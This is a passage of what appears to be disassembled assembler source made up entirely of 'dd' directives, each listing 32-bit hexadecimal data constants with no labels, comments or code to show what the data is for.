		dd 14E4A9F9h, 5640E60Dh, 80201A6Dh, 379E4D54h, 0A61DA63Ah
		dd 0D96B660Ah, 4C537F1Bh, 0A53A379Eh, 32E0A71Ch, 299D468Eh
		dd 2B71FA0h, 0FBD430D4h, 1711A8C8h, 354354DDh, 8C86159Ah
		dd 10F4DF68h, 0BE59E8E4h, 2065878Ch, 0EEB6FAC9h, 8D6596B2h
		dd 0C23A4DBBh, 23BA0796h, 91420BE9h, 0B04A8773h, 0DDF57B54h
		dd 881BCD27h, 5FE60451h, 87F4BC7Ch, 0A7AB26EBh,	735E9AEDh
		dd 0EDFEFD1h, 94CC306h,	0EBD33F48h, 221CABCFh, 37D4CFD6h
		dd 0EC9B283Ah, 0E6ECC10Ch, 0D9DF245Fh, 0FDC63BFEh, 22C6EAC6h
		dd 3A37DB03h, 0C440475Ch, 0A85874D8h, 0EE14834Ch, 41C30C6Ch
		dd 0D7D9EAC3h, 0DB100FB3h, 58693A37h, 512D912Fh, 0AC857F85h
		dd 0FC7F15DBh, 0AEF64231h, 0BEE422B1h, 94AE2923h, 0D7ECD770h
		dd 0BD3B832Bh, 88ECCA8Bh, 0E78523D7h, 0F56238DDh, 3D82D2D1h
		dd 2D962B32h, 92B31E5Ah, 87C35C68h, 705083B4h, 0C143FD0Ch
		dd 0EA0A3895h, 57257261h, 0ECF3DFBBh, 45323E05h, 3A650B7Ch
		dd 59423E06h, 522EC67Ch, 0C5797B81h, 2FAE9B3Eh,	60E2ED91h
		dd 0E17C0BA4h, 72563A0Ah, 223E0673h, 7090F7CCh,	51CC865h
		dd 5E223E06h, 0AC947E55h, 5BDE410h, 8D16223Eh, 34D1FEFAh
		dd 8DEA89CBh, 248C37B4h, 7D77B148h, 7D19E3B4h, 6EAEB521h
		dd 0BA07223Dh, 21CEB60Ah, 5D2A14F2h, 2F91B31Bh,	8480824Bh
		dd 3420DCABh, 728E669Eh, 0A719DB61h, 1B90BD1Ch,	37CD0965h
		dd 0BAA3F4BDh, 903B1F1Fh, 3DC7126Eh, 0A4A12E4Ah, 4D87D99Ch
		dd 4C7851B3h, 0A3306D42h, 43EE951Dh, 7529A14Fh,	0A4C86822h
		dd 8B6D1A2Ah, 2324C142h, 23D2D31Dh, 586854B0h, 0D5272E60h
		dd 728EF91Dh, 51CC861h,	70223D84h, 2D860BEFh, 0BE13AF44h
		dd 9B23AB15h, 0B7498426h, 4460743Dh, 5876FAECh,	3521DBACh
		dd 728E669Ch, 3895DB61h, 0F26BEA0Ah, 849B47F7h,	0DD223DA6h
		dd 58EBFFD4h, 0AF548181h, 385EEE49h, 0F7B90AD2h, 93B36EA7h
		dd 90F7A39Bh, 1B763E02h, 0A5ECBE41h, 6E6799FEh,	63EE82D5h
		dd 5C671EABh, 958C3854h, 223D6Fh, 0F7C6A14Fh, 0E8B9F972h
		dd 1539E59Fh, 0CFE89BBh, 48FCDA2Eh, 0DAB123ACh,	51B3F3B7h
		dd 203C844Fh, 0E0698BB5h, 0C9A509B7h, 0E791F60Ch, 2A376279h
		dd 0A19B324Eh, 0FDBDCA63h, 0CAD9FDA1h, 231A433Eh, 3F3B6A8Eh
		dd 3F941A43h, 128CB195h, 4291C137h, 0D205367Eh,	6CA64628h
		dd 5D75611Bh, 0A4314DA7h, 61E4669Eh, 6F0BCD8Ah,	0C709665Fh
		dd 73E3F10Bh, 7D682FF4h, 0F8D6DE5Eh, 41BC78Eh, 5D1A4344h
		dd 75778054h, 715E9AEDh, 19AA5280h, 0D0CFF397h,	0E71A4380h
		dd 159E56D0h, 0FC06D1ADh, 6E52C0C7h, 817FA652h,	0CBD81A43h
		dd 0F011BCBCh, 19A2E30Bh, 2FE90032h, 2D912FA4h,	438A9AC9h
		dd 0B9DEF31Ah, 0FC0B6F4Bh, 9EE9C242h, 0E3CD7762h, 48947BDBh
		dd 0E8DCB0F6h, 94C4D91Dh, 77059265h, 27CD775Bh,	8381834Bh
		dd 0ACA940BFh, 43F3F6EFh, 790AA27h, 7D1DEF9h, 0EAE7FEEAh
		dd 73401A43h, 0B80BA460h, 313094F8h, 8A1A43EBh,	0FCC44E39h
		dd 2BC97360h, 0EB3C638Fh, 0C951A43h, 0ACBDD0B7h, 3FB58FBCh
		dd 6Eh,	8DC2123Dh, 4F4A8813h, 3C99E7B0h, 0D51AAA06h, 0A60A204Ah
		dd 6FA94040h, 31CBBC95h, 57EDE985h, 7C805A30h, 0E10DA27Eh
		dd 3E82511Dh, 0D03C5262h, 0FDF709C3h, 0F017A034h, 95AF234Dh
		dd 0ADD86E02h, 116DD257h, 6A583FC5h, 863DF706h,	248D462Ah
		dd 0D55E96AEh, 0AE1A06FEh, 0C263A3B7h, 8710C310h, 64E20Bh
		dd 2A460000h, 0D55E96AEh, 6E12D2C2h, 8821E361h,	0DBD401FFh
		dd 3B854EF0h, 678DB71Fh, 6F4BB9DEh, 1C8F675Fh, 7116B7C8h
		dd 0F6BABF99h, 0F2372E9Ah, 6A2CA5Dh, 8A7A415Bh,	14835072h
		dd 0EAE48824h, 0A1C32D5Ah, 0EED257CAh, 3EAA4792h, 0C2636027h
		dd 64A03380h, 62FEBCCBh, 0B8F8CB71h, 0BD8B16E8h, 8215C705h
		dd 6E120408h, 8B5E262h,	4DA92F1Fh, 0A9828280h, 19BA961Ah
		dd 0E88821E3h, 754354ECh, 6CA63519h, 39BB551Bh,	1438D258h
		dd 0E26B89BBh, 526905B5h, 0A9C5EBD8h, 0C2E10512h, 1BC2640Eh
		dd 0AF4A3D86h, 1A49AD11h, 73C2640Fh, 0A0BF395Eh, 0F7B71726h
		dd 6360B93h, 49B80DA3h,	0B032809Fh, 0BFC8D9CDh,	3F99EDCBh
		dd 8EF2CE05h
		dd 0E6D2C57Fh, 0E302E6CAh, 3CCDB031h, 6E582067h, 7BD5AA44h
		dd 20ACB31Fh, 0BC05C5B6h, 22E2EFCBh, 0B26B2E76h, 29DFD79Eh
		dd 3A8E2C5Eh, 7A06498h,	7F58F4BCh, 0CAE6D2C5h, 6D1A2AA6h
		dd 0AF8D6B03h, 0BC8A4CDh, 0F212329Eh, 0C18A6A59h, 4E84ECD6h
		dd 7A30DB6h, 16203FA3h,	2879BDBBh, 39B6215Fh, 38C20F98h
		dd 91E1698Bh, 0B49E4A98h, 28883B88h, 7E768E44h,	8828E2B5h
		dd 9E56EEE4h, 5B768215h, 0A6CA7A56h, 0F6AB182Ch, 0CB53D868h
		dd 0C2E6136Dh, 2B00002Ch, 87679BA5h, 1D61B14Bh,	827E948Eh
		dd 1757AB51h, 0C78D85BFh, 0EB19B59Fh, 43FDD717h, 1C26AFCFh
		dd 35CF0AE6h, 22C6FADDh, 0C2601D03h, 12FAFA5Ch,	0B7E0646Eh
		dd 5E252241h, 1F2979CAh, 0ED68480Ah, 0A0BECB4Fh, 0CBF845C2h
		dd 0E7F4C6BCh, 0E201E5C9h, 3BCA5DBEh, 7B1F2166h, 937F7633h
		dd 484F9FF3h, 5754C2B0h, 3195F9D2h, 0C262FC32h,	7E768C49h
		dd 0FC40DB5h, 64710DB1h, 5B8D26DEh, 0C262FC44h,	0B583149Dh
		dd 1211B5D9h, 6BC262FCh, 864F3156h, 6D6A867Ch, 0FC0120C4h
		dd 495AC262h, 0A36E367Ah, 3B995662h, 2BD9F57Bh,	0ED9700C9h
		dd 0BEA28151h, 858F391Bh, 5AEBE612h, 3536CE6Bh,	356C571Ch
		dd 0C6AC1EA1h, 0F6FFDC34h, 5F00002Bh, 333BC771h, 0D1AD659Fh
		dd 0EE12003Ah, 0CBB35FE5h, 43110103h, 9FA53123h, 0BF418B73h
		dd 0A0A22B53h, 0C1438E72h, 8E3A8651h, 0C2601C97h, 0DC8696F0h
		dd 0E7FEEAFEh, 40CA5E23h, 448F8920h, 698D318Fh,	0CA5E243Ah
		dd 8ED33F93h, 0EE0108C8h, 0AA06B2E5h, 4D31021Ah, 359D2200h
		dd 16BCC40Fh, 0E1CFA9EEh, 16D2582Dh, 2E64BB8Eh,	8007B4D5h
		dd 160F9EC2h, 99F31390h, 359E352Fh, 874B2F8Bh, 0E9AE777Dh
		dd 11013B97h, 4541912Dh, 0EDC63E5Eh, 0FC1110D8h, 596AC263h
		dd 7D80522Eh, 56F1F260h, 0F319B63h, 21B10FC4h, 2BA4D8BFh
		dd 0EAC6AB19h, 39ECF3DFh, 7C45C263h, 0D8C44047h, 3A1110B4h
		dd 596AC263h, 6A87522Eh, 633A677Eh, 0CDF3C0C2h,	6339FA29h
		dd 557E53C2h, 3EF80F6Bh, 0E29AEDC6h, 0CB29DBF6h, 651D26AFh
		dd 0CBFAB6F0h, 714DA71Ch, 64235E85h, 0E3EAB7C2h, 6E26F6Ah
		dd 9392365Ah, 0ECC26423h, 0B635B0D7h, 0A7BE2A86h, 0C26423h
		dd 3E94E4B3h, 0CE81AB3h, 0A0309043h, 0E70B3AE8h, 0C26403B8h
		dd 3014C011h, 89098EBBh, 0F832C9A5h, 0AE9AB68Fh, 45BFE612h
		dd 8B18C263h, 3156ECE5h, 17E8259h, 3EBF9422h, 660AA61Dh
		dd 51B0D76Dh, 761C636Bh, 34DE6CD9h, 74BD1563h, 63F05150h
		dd 0AA19AAC2h, 2A24BE06h, 0B054EEE3h, 4F25AD17h, 0C7D07F55h
		dd 1CC91C45h, 435D116Bh, 60C263B9h, 4A36CE76h, 0A5917389h
		dd 63B92241h, 0B4267BC2h, 0C79DBA31h, 5A99950h,	1CD85269h
		dd 0B93E6593h, 0A97C263h, 0AE577B7Dh, 909EF86Bh, 0CFF1E26Eh
		dd 0E61E20ABh, 0F0D03A4Dh, 0D9BE468Ch, 0AF112BA7h, 960103CBh
		dd 8A6E52EEh, 0C263D25Bh, 92781FB4h, 1D44B0C8h,	76C263D2h
		dd 761A962Dh, 4047FDDAh, 61C005B8h, 0BC8A4CAh, 0F49CA6F1h
		dd 0E5352C98h, 458EBA65h, 65E5ACB3h, 0F90BC3BAh, 439032FBh
		dd 0DECA8591h, 0B2216D4Fh, 1B3BC60Eh, 5A7C483Eh, 4B2F8B2Dh
		dd 9C787C86h, 65CB2938h, 0A23182BAh, 0E3C803F5h, 149D57E9h
		dd 735D01BFh, 644CC6D1h, 6334CC08h, 5175BA15h, 0BA65CB52h
		dd 0CB263DA9h, 327FBA65h, 74904390h, 44B0C892h,	0BA65CB1Dh
		dd 1A962D76h, 6EF72E76h, 0B05E12Ah, 8AC6F47Ch, 0F6BC263h
		dd 0EFB83CC6h, 0A7099AA8h, 8DFA34C3h, 0CFAB0FABh, 2EF7FD07h
		dd 67B19BCAh, 0DF06F2B2h, 38B267B0h, 0D7A476Bh,	0C70BE0EBh
		dd 329BB73Dh, 210C310h,	0F3DED3FEh, 96828251h, 0DE71DBAh
		dd 0A92F5344h, 8084BE4Dh, 0F8941CA7h, 67B0D5CCh, 0F2A52EB2h
		dd 0C8066A46h, 0A8EFB83Ch, 61CC62D0h, 18B397BAh, 10A1A1E6h
		dd 0A11133A1h, 1542A2DEh, 2925h, 54BE468Eh, 749EA62Ch
		dd 4FC37D8Ch, 6A98A22Fh, 46BC4886h, 0D0FE5680h,	36A2DE34h
		dd 0D3FC040Eh, 329DE131h, 69570210h, 6019667Dh,	0D5A5BFC2h
		dd 1B4AAE12h, 74CA5E24h, 0AAC0385Fh, 0EFCA5E24h, 43C1438Bh
		dd 0F2DB1D6Ah, 248A993Dh, 0CEE3CA5Eh, 369FBB05h, 385FE80Ch
		dd 5D7AD6DAh, 10AAE0A7h, 0F0E31DB8h, 0F22ACD0h,	5E23BCE3h
		dd 378C15CAh, 35629839h, 11215F83h, 0EEB6D25Ch,	1407C354h
		dd 330F7851h, 5A7E229Eh, 0C260424Bh, 28CC7062h,	98E239Fh
		dd 77841337h, 6042544Bh, 0AF24ADC2h, 1A49AD11h,	85C26042h
		dd 0D1DEF95Dh, 931FA37Dh, 740D07B0h, 0A8EFE4E0h, 0C21222EAh
		dd 4395189Ah, 11F4A331h, 615DA40h, 0C3287814h, 3D43EA36h
		dd 3BE4FBEDh, 743DC9DDh, 3A55423h, 0DC900000h, 1C28A6FAh
		dd 3C844FD8h, 246D7460h, 0FEC6CA5Eh, 5E0A2977h,	8CFBC8E1h
		dd 2BC21288h, 0F53A2641h, 2ADAF47Ch, 1B3F5B5Dh,	0ADE8938Ch
		dd 0E10CE145h, 4E3912F2h, 5D4D78AAh, 0DB9D5CAh,	0CA5D4D16h
		dd 6D35626Fh, 4D7EA551h, 0CAD7CA5Dh, 0EFD3B7F9h, 0CA5D4CF0h
		dd 0D0F7849h, 1B4AAE12h, 32CA5E24h, 3A169CA0h, 2A5D669Eh
		dd 804E328Eh, 12011384h, 0E59CFEC2h, 5D69E201h,	5E663BCAh
		dd 3364D092h, 0B00C2AAAh, 5D291D44h, 0AE1A76CAh, 0CA5D29B7h
		dd 8710C310h, 82C21295h, 0B5927D08h, 0CBF802CFh, 0DAF2C6BCh
		dd 5DE4F7EEh, 508350CAh, 5F6E124Ch, 3E861FE5h, 127F736Ch
		dd 3901863Ch, 58D2E985h, 6E126D2Fh, 0CDB5E262h,	6694020Eh
		dd 0FE08AA0Fh, 54B05482h, 4468487Bh, 5DF381A0h,	0BEC9DACAh
		dd 4AAE12DEh, 0CA5E241Bh, 0C9385F74h, 0B24C87E3h, 98AC2652h
		dd 8000D35Ch, 8049AB55h, 6E120517h, 0BE788F62h,	3156EF15h
		dd 95797D5Ch, 655F6F08h, 6121A3Dh, 86BE145Ch, 0B57E01h
		dd 0BEA20000h, 3811F311h, 0AE124D4Fh, 5E241B4Ah, 385F74CAh
		dd 8A6E8652h, 0CA5E245Bh, 23E15B72h, 8D48288Ah,	4D736073h
		dd 223BA185h, 0D2C5258Bh, 656E12C2h, 0DC08B8DFh, 0CA5E23C2h
		dd 48577B1Fh, 0A1CA5E24h, 0E7BB8710h, 0C02A7085h, 0D7D9EAB9h
		dd 1E0E39C7h, 0E3EE8AEFh, 0B90AA361h, 0C212CECEh, 0CF46ED4Bh
		dd 0FAC6D1CAh, 4AAE1272h, 0CA5E241Bh, 48385F74h, 0E26178B1h
		dd 0D36E2DE8h, 369CC000h, 535DF60Eh, 5D4F706Fh,	8FF8C9CAh
		dd 9DC2128Dh, 13569817h, 0B1B0149Ch, 0ACA5D61h,	0A2FACEB9h
		dd 4F15C212h, 1988C310h, 0C1C64057h, 86BEh, 547EE200h
		dd 12B5E7B0h, 21E3616Eh, 2B0BFF88h, 0A43AD327h,	0EDAB192Bh
		dd 6AA19A8h, 1ED66E6Ah,	12120295h, 0FF05D2AEh, 23BEE098h
		dd 931BCA5Eh, 38DFB282h, 0CF5EED43h, 437B00Fh, 0DE05F1CFh
		dd 37CA5D73h, 6C051D6Ah, 859C7C44h, 0A5EF792Bh,	0AE1222F2h
		dd 0E4DBA126h, 0E9AE25F0h, 0AE3BD2B3h, 735C2420h, 0A2BE02D1h
		dd 60E90B31h, 0C2126537h, 4B39E03Eh, 19E554DFh,	0B5711C3h
		dd 0BCE0E8AFh, 0E80C34A0h, 1264385Fh, 114816C2h, 2B5C2F04h
		dd 953F7B5Ah, 0A5516D08h, 0C75DDE7Eh, 3ABDCAD7h, 0A0h
		dd 2FD5025Eh, 0AE123468h, 5E241B4Ah, 215F74CAh,	6FC8BB1h
		dd 0E4882837h, 456A5AEAh, 2578F060h, 1293890Eh,	0ACF3B1C2h
		dd 96019ED3h, 686A06AAh, 2D9730D4h, 70896058h, 49AFD82Ch
		dd 0CA5E1217h, 46FED874h, 0F1DD8141h, 0AB18B153h, 0D2686905h
		dd 2EEE9932h, 4250C212h, 4E0E624Bh, 0EC9BA132h,	0FD0C704Ch
		dd 12405443h, 241B4AAEh, 9B32CA5Eh, 79021A1h, 0E410D9F9h
		dd 0CA5E23BDh, 659F3A16h
		dd 6BD069Fh, 5F6E1286h,	43C17B92h, 129B596Ah, 12BBBB85h
		dd 21E3616Eh, 8400FF88h, 0FC000000h, 1B4AAE12h,	74CA5E24h
		dd 8B52385Fh, 5B743C84h, 0CA4BFA8Ch, 12D2C2D5h,	0D80731C2h
		dd 0DD7E46FEh, 18286F02h, 0EEFBD874h, 277063E1h, 5D314F51h
		dd 0E410ACCAh, 0CA5D30BDh, 28FA8D16h, 693DFA8Ch, 0AE25407Dh
		dd 6EC212EEh, 0BCD66930h, 2ED6027Eh, 17335769h,	51780BAh
		dd 0ABB5C212h, 0E599CFB0h, 0A50CC6B2h, 54DD172Dh, 7171417Fh
		dd 0CC060A32h, 12F52770h, 0B8DF656Eh, 0D24AC10h, 5E4E4C62h
		dd 12494B3Ch, 0B2E55F6Eh, 0FFFC3DC5h, 4D87E3FFh, 12B0E4B3h
		dd 241B4AAEh, 5F74CA5Eh, 30885238h, 8C349F99h, 80804C30h
		dd 14DCAB84h, 0D25C1189h, 120C4E8h, 5AC26036h, 30843E49h
		dd 0CCF83BF5h, 0C2602BD5h, 462FA52Eh, 47695A3Ch, 5D97A923h
		dd 99F5C3D4h, 8EC26B5h,	0AD28583Fh, 566D9740h, 29DBF65Ah
		dd 0F59502CBh, 8E323703h, 29482646h, 7B0CF7E4h,	517DE1BDh
		dd 4CF4960h, 98602700h,	0C2607A89h, 0B0507CE0h,	91AB2854h
		dd 49655542h, 607A869Dh, 577FDFC2h, 7D5A16ADh, 0D8B4FCC7h
		dd 5F5A78C8h, 0B6429D8Eh, 0C260CAAFh, 30CCBB08h, 0A5BC2884h
		dd 0FEC260CAh, 190EE2B5h, 0B2C260CAh, 0B2FABE06h, 40DFD00Dh
		dd 1A6D9740h, 0B498A843h, 6CA1E61Eh, 268A6FDh, 221CABCFh
		dd 902749E2h, 0AF8EF196h, 0B2000000h, 1D0BE222h, 5037A8E7h
		dd 9C2124Ch, 45000484h,	3C5F197Eh, 9BCA5D6Ch, 16EE28BFh
		dd 0A32E4A3Dh, 2CC7F1A2h, 8E457C17h, 0C9F8A232h, 784CF6DFh
		dd 229A3213h, 0A3536D97h, 4BC7D003h, 5D35819Bh,	5082DECAh
		dd 11A7DBACh, 3F9926B5h, 9D26FF05h, 0BB05CE57h,	5F39CFDFh
		dd 0D505630Eh, 3B342EC2h, 0ED91D257h, 8C3661E3h, 995BD5E4h
		dd 0B5FDC310h, 2A829561h, 0CDDCA44Fh, 0EAC64453h, 0E7FEEAC6h
		dd 40C2624Ch, 4D5E8573h, 0EAB7C262h, 1E75A9Dh, 0F6BE0000h
		dd 5A33E590h, 972E77B1h, 0C5D322B2h, 7FD7CEFAh,	0A330C262h
		dd 7D875030h, 0C2120A0Ah, 0E21B4A20h, 21692EA1h, 4C537F97h
		dd 0A5CA5D55h, 0FDF70DC9h, 0F7E19F34h, 163A764Dh, 574E7A87h
		dd 0B0CA5D55h, 0D9E7B023h, 0B33C99B5h, 861FE51Fh, 369BB73Dh
		dd 745FE80Ch, 0B8210160h, 0EE990C93h, 574EE48Ah, 0CB9929D2h
		dd 0AF6C14F3h, 0A1FDBDCAh, 626A2E35h, 426185C2h, 9BC2626Ah
		dd 5917AC06h, 0A32CC842h, 71409030h, 0D5F68ACh,	0AA69205h
		dd 77866B66h, 65EE06BDh, 7C894632h, 0CD5190C2h,	922EA575h
		dd 909BCA2Eh, 0DFF4C262h, 0B9165AB8h, 0F1CD698Bh, 628FDE05h
		dd 2BD9F5C2h, 354D3A87h, 758F43A3h, 0A30DB68Fh,	12F20CC7h
		dd 4E724E39h, 8C4AA732h, 20B37C78h, 0B43C4BE4h,	0CA607E11h
		dd 0C9D8FCA0h, 22BA64A2h, 543C0691h, 64A37170h,	0CAF9CABAh
		dd 0B9738AE6h, 1325723Bh, 49FBD377h, 837522ABh,	0DC56654Ah
		dd 29A5C9E7h, 4750D91Bh, 52AA3CBh, 64A2C2E1h, 3D861BBAh
		dd 0B4AB1773h, 0DBA64A3h, 8D29D3C4h, 11571045h,	3B4C0AF4h
		dd 86157147h, 1579378Ch, 64D2B2B1h, 0D1B60BBAh,	3EFCBEFh
		dd 0BA64D1DCh, 551B6C35h, 0C262BE21h, 251FAED2h, 814146DFh
		dd 0E6AAB91Dh, 5B03B266h, 0D003D072h, 0BE468CF0h, 0F6596E46h
		dd 5281E40Ch, 862A1681h, 9B59D3EAh, 58738512h, 58737853h
		dd 4E854EA6h, 0B21F3B85h, 0B4E36C88h, 0D8F65A56h, 4160842Ch
		dd 9AB26693h, 57827E09h, 93372E9Ah, 3090B266h, 66939DC4h
		dd 16ADF6B2h, 134CF4ADh, 2789D6A8h, 21844Ah, 5DE7ED00h
		dd 0F309C9A5h, 4EC8DF1Fh, 0ED17BCC4h, 47FDD915h, 6BE909BBh
		dd 4D31E163h, 6D918183h, 5030E260h, 0C0877B85h,	11C9D8FCh
		dd 4422C260h, 4AAE1230h, 0CA5E241Bh, 40C00C74h,	0D9F40493h
		dd 8EC06728h, 0D6E3BB70h, 0ECAF9348h, 0CCF8B80Bh, 0CA5D6FD5h
		dd 0D62EA52Eh, 36162FAAh, 0F76799D5h, 149C24AFh, 333987DAh
		dd 0A6353BA3h, 0D8BF886Ch, 2CB9502Ch, 0CF359EA6h, 0FDE0FFE3h
		dd 6839CA5Dh, 0CF35CF08h, 0A353960Dh, 0EFAC1729h, 0DA09EDD1h
		dd 33CA5DFDh, 50F4E29Eh, 0FB3B9E47h, 0BCCB755Fh, 0D4DC11BCh
		dd 0E1A528C6h, 0C8D721E3h, 21CA5DBAh, 357D4390h, 0BC21F700h
		dd 0C8E0F44Ah, 0EB4B7F6Fh, 433AD8BFh, 5958612h,	25CC0A66h
		dd 5E15A2C1h, 1DA6FBCAh, 0A1324ED7h, 0C7D0599Bh, 0C938h
		dd 0DFF45800h, 4146DF25h, 0A9C2125Bh, 0B4E7A4D7h, 0CA907225h
		dd 0F0E3616Eh, 0D908ECD0h, 32CA5D81h, 664AF6A1h, 82879E4Ah
		dd 2BF2CA5Dh, 0C523C64Ch, 83149D25h, 58061BEDh,	8A4428D2h
		dd 0A42D0D7Ah, 0AF04941Ch, 893BC50Fh, 5E8A6F35h, 0C263E147h
		dd 0D7C013A0h, 4341912Dh, 0B433CDCh, 9F3A4651h,	0D0022166h
		dd 6331FD24h, 774D56C2h, 7BC2238h, 0B76B33FBh, 32CB6410h
		dd 87993B89h, 0B81A76A6h, 0C926B1CFh, 3811F309h, 0C197698Bh
		dd 0EDD66C65h, 1FC3E7C3h, 0C263DA00h, 0B93F4859h, 0CA5DF933h
		dd 47F9D478h, 29328240h, 0F2124470h, 0D0FA7811h, 2739A904h
		dd 0DE8C149Ch, 11784D45h, 0CB731F68h, 1DDC03EFh, 6C35BA6Ah
		dd 0AE12F91Bh, 5E241B4Ah, 385F74CAh, 735F8A48h,	0CA5E246Ch
		dd 0E6FDE9C5h, 3FCA5E23h, 4E726172h, 2559B686h,	5D26A2C1h
		dd 1EA6FBCAh, 879435h, 0E612AE92h, 0CA5D64BFh, 0FCFC8B18h
		dd 0EE922ED6h, 8A163E1h, 7519057Fh, 5D655251h, 7116ABCAh
		dd 5D64DF07h, 8F4428CAh, 0EB68F75h, 0F73FC5CCh,	5C9CEBA5h
		dd 0B3517E73h, 97AD2551h, 0D4FFD45Dh, 0BD4790ECh, 1C8040CAh
		dd 5D54A9B8h, 0E6B102CAh, 0AB1516A4h, 0FAFA04CFh, 365A6631h
		dd 0FE89831Ah, 5B41597Ah, 0C2CCD4D2h, 2220B127h, 5E734F38h
		dd 31D3FE62h, 5A365A66h, 5F9E776Eh, 7D03D0C2h, 7D56AE54h
		dd 12DFEE0Ah, 57D1E8C1h, 45BF149Dh, 0F559576Ch,	2CB29DBh
		dd 52B2527Eh, 98840E79h, 9B69C212h, 55D49764h, 2B58876Bh
		dd 20B1CA5Dh, 80C79677h, 0B5990615h, 0DB9CEB19h, 393h
		dd 0D5FD613Dh, 0ECFCD52Fh, 0C9DD2AF5h, 212854Eh, 5D2AE12h
		dd 23EAF9FFh, 6E43CA5Eh, 4E53E129h, 5866272h, 0AC89B441h
		dd 0C212B9DBh, 54A138A6h, 3DFB8C30h, 33D1FD61h,	0C03A698Dh
		dd 3E93CA5Dh, 0C07D9F59h, 0CADACA5Dh, 9C5ECDAh,	69070AD5h
		dd 37836371h, 2E52583Fh, 5D909BCAh, 0F4DFF4CAh,	0BE3D04CCh
		dd 0F18AE3BCh, 0AE1276A6h, 5E241B4Ah, 385F74CAh, 0E39C2488h
		dd 0A466328Ch, 1E65A681h, 332811B6h, 6E123064h,	8A23E163h
		dd 0B68460FDh, 23F7EEDAh, 8350CA5Eh, 6532D0FDh,	646E122Fh
		dd 3D3B7E0h, 0B32022ABh, 646E12E9h, 0BB03B7E0h,	278D8AF3h
		dd 16BF91EEh, 943F08ECh, 1DC1103h, 0BF142EA7h, 0CF755D01h
		dd 6E12D4C8h, 8A23E163h, 0BCA07CFDh, 3811F32Dh,	6E124D4Fh
		dd 0D2B3E460h, 89579F3h, 0B54F89E5h, 9815E2h, 0D7730000h
		dd 0E9C242FCh, 0AE127E9Eh, 5E241B4Ah, 215F74CAh, 0E16A8AB0h
		dd 0EC04D4B6h, 3ABE4690h, 0CA5E242Bh, 1CA42F84h, 1E699340h
		dd 5DC212FEh, 6B1458FFh, 0AF0BADDAh, 0F7FD07CBh, 8D8F692Eh
		dd 0EACA5D89h, 43FD78DAh, 0F4A361A7h, 57337D46h, 5E10746Bh
		dd 24B1CDCAh, 0B2E2B51Eh, 3BD2AE12h, 5D2A0301h,	4AAE1237h
		dd 0CA5E241Bh, 48385F74h, 99AB24B1h, 0A61A622Ah, 982C451Eh
		dd 8DFAD8B4h, 606E1287h, 8720E4h, 0B3FFh, 0AE3D2100h, 69649074h
		dd 3F941DD7h, 0AE124458h, 0EDFB01D2h, 0CA5E23F6h, 0ED15824Fh
		dd 7EA55169h
		dd 0D7CA5E24h, 1293F9CAh, 0BFE612AEh, 18CA5E23h, 6A74FC8Bh
		dd 0C7CA5E24h, 701729A3h, 3EAA06BAh, 0CA5E2427h, 9EC53380h
		dd 0F7CA5E24h, 0F39719AAh, 5E23D0CFh, 0EF9829CAh, 4AAE122Dh
		dd 0CA5E241Bh, 79A84C74h, 0D2CA5E24h, 1102D201h, 3C838C48h
		dd 0F69AA6F1h, 2EC67E5Ah, 1222F2A5h, 241B4AAEh,	5F74CA5Eh
		dd 64B14838h, 24859C48h, 0D5DECA5Eh, 5E23FC23h,	644C55CAh
		dd 5E246180h, 0DAE9BACAh, 0A85C7AD6h, 6E12BDDFh, 0C47E8D64h
		dd 985C6740h, 0B8C0880Fh, 1B4AAE12h, 74CA5E24h,	7455385Fh
		dd 68089579h, 535DA058h, 5D2A706Fh, 0CCF8C9C7h,	0C5D22AE4h
		dd 8D32h, 0D8FA5600h, 12A17324h, 0A2963C2h, 0F8D133C9h
		dd 0AF30C1CCh, 141BA2E8h, 616E1288h, 0A804B4E3h, 79F709C4h
		dd 7CF4A359h, 0CA5E2462h, 0F319BBFh, 3C96BA88h,	7063EC08h
		dd 59886C50h, 0B2CA5E24h, 0CC765F21h, 6E12D9BBh, 5F6FE461h
		dd 6C0F3A2Eh, 8903057h,	0FDE900D2h, 0CA5E23E6h,	0D430D2FDh
		dd 0EBD7B7FBh, 0CA5E23F4h, 844F844Dh, 4AAE1218h, 0CA5E241Bh
		dd 90385F74h, 7A82502Ch, 0A4D1070Dh, 0EF000000h, 23F827CBh
		dd 8051CA5Eh, 0C2120517h, 8AAC17B1h, 0BBCFB8F0h, 0A6EE1C20h
		dd 3B502B3Dh, 8B442888h, 120E0E79h, 24E0646Eh, 603CFC8Bh
		dd 9829C150h, 2A9AA054h, 90DBFAB0h, 0C52B5CE3h,	0CA5DA79Bh
		dd 313094F8h, 8ACA5DA7h, 0E45C4E39h, 466A59EBh,	6F95AF2Ah
		dd 12EBB1D6h, 241B4AAEh, 6074CA5Eh, 0B6C21B5h, 7D0AB91Dh
		dd 17BBDFBBh, 0CA5D7D08h, 55475061h, 0FDE900D2h, 0CA5E23E6h
		dd 5F61723Fh, 2488973Bh, 0D0E1CA5Eh, 6E12D5C7h,	0FA29CD64h
		dd 53CA5E23h, 7E42557Eh, 4B5A7E22h, 0A4CA5E24h,	1294880Fh
		dd 22E2626Eh, 896B9936h, 738413C0h, 0FFFFFC58h,	0D6CDF995h
		dd 2FCA5E23h, 121FF5A2h, 241B4AAEh, 0C74CA5Eh, 0ECC53FC1h
		dd 0DAB0D7h, 0AD162EA8h, 0D6506703h, 3602951Eh,	5C120F92h
		dd 0C7126ED2h, 0D2EEB73Dh, 6036FF26h, 3C4B58C2h, 4DF7E27Eh
		dd 0BB51EA7h, 1BD9636Fh, 57330592h, 0CD27D9F3h,	6A659304h
		dd 6A664B85h, 42911ADAh, 8F75AF3Eh, 3F50DB6h, 56393337h
		dd 2F45A056h, 4B359E98h, 6D538082h, 442A8151h, 0D51A99A3h
		dd 9E372EC2h, 328EC260h, 609E9FC6h, 37ACF8C2h, 0CF3D666Dh
		dd 0F7C3D4FFh, 29A1FCABh, 0A91A3AF2h, 856A6307h, 0E80CB74Dh
		dd 0F0CC385Fh, 0D8BF418Ch, 60D30320h, 0CA219CC2h, 0ACF12A7Ah
		dd 0D6C5DC08h, 951EC260h, 0E055FF3Fh, 6087EDF4h, 467D46C2h
		dd 1D1D4C41h, 4B6F0268h, 609078A7h, 944DE3C2h, 22E6B80Ah
		dd 0F38413A0h, 45h, 24174AF1h, 0DA76CA5Eh, 0E7C044F8h
		dd 787560A0h, 7A82505Dh, 0E222B17Ah, 24939236h,	0D7ECCA5Eh
		dd 75D9D7ECh, 8049AB59h, 97B37B17h, 2B04003Ah, 1A81B5Ch
		dd 0E17D0000h, 1FA74DF7h, 8D44F70Fh, 4F388B89h,	626E124Dh
		dd 23FC23CFh, 4C55CA5Eh, 0E3B47D77h, 0E911199Fh, 0F81542C2h
